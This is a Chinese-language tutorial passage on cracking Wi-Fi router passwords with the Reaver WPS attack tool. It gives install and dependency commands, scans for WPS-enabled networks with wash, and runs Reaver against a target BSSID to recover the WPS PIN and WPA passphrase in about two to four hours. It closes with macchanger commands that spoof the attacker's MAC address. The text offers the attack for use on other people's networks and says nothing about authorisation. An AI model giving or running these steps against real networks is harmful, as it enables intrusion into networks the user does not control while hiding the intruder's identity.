现在,破解无线路由器密码的前期准备工作已经做好了,接下来我们就可以进入正题了。我们现在下载并安装reaver软件包,这是一个自由软件,我们可以在谷歌code里下载到。我们的ubuntu linux系统可以下载到一个reaver-1.2.tar.gz,然后开始安装
#./configure
#make
#make install
期间可能会有依赖包
#apt-get install libpcap-dev
#apt-get install libsqlite3-dev
安装完成后,输入reaver验证是否安装完毕。如果出现:
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
Required Arguments:
-i, –interface=<wlan> Name of the monitor-mode interface to use
-b, –bssid=<mac> BSSID of the target AP
Optional Arguments:
则说明安装成功。
使用reaver破解无线路由器密码
我们首先确定wifi网络中支持wps(Reaver 中可以看到),然后打开终端输入以下命令(wash已随Reaver 安装)
#wash -i mon0
然后打开reaver tool输入
#reaver -i mon0 -b 在这里输入你的目标BSSID -vv
整个破解时间(获取WPS PIN, WPA PSK ,and AP ssid)需要大约2-4小时所以总结来说,使用reaver来hacking wifi网络步骤容易,但是相对比较耗时。
在更改 MAC address时,如果报错说wlan1 is busy,尝试输入以下命令
#ifconfig wlan1 down (brings down the interface)
#macchanger -A wlan1 (-A this gives a random mac address and manufacturers name)
#ifconfig wlan1 up (brings back the wlan1 interface)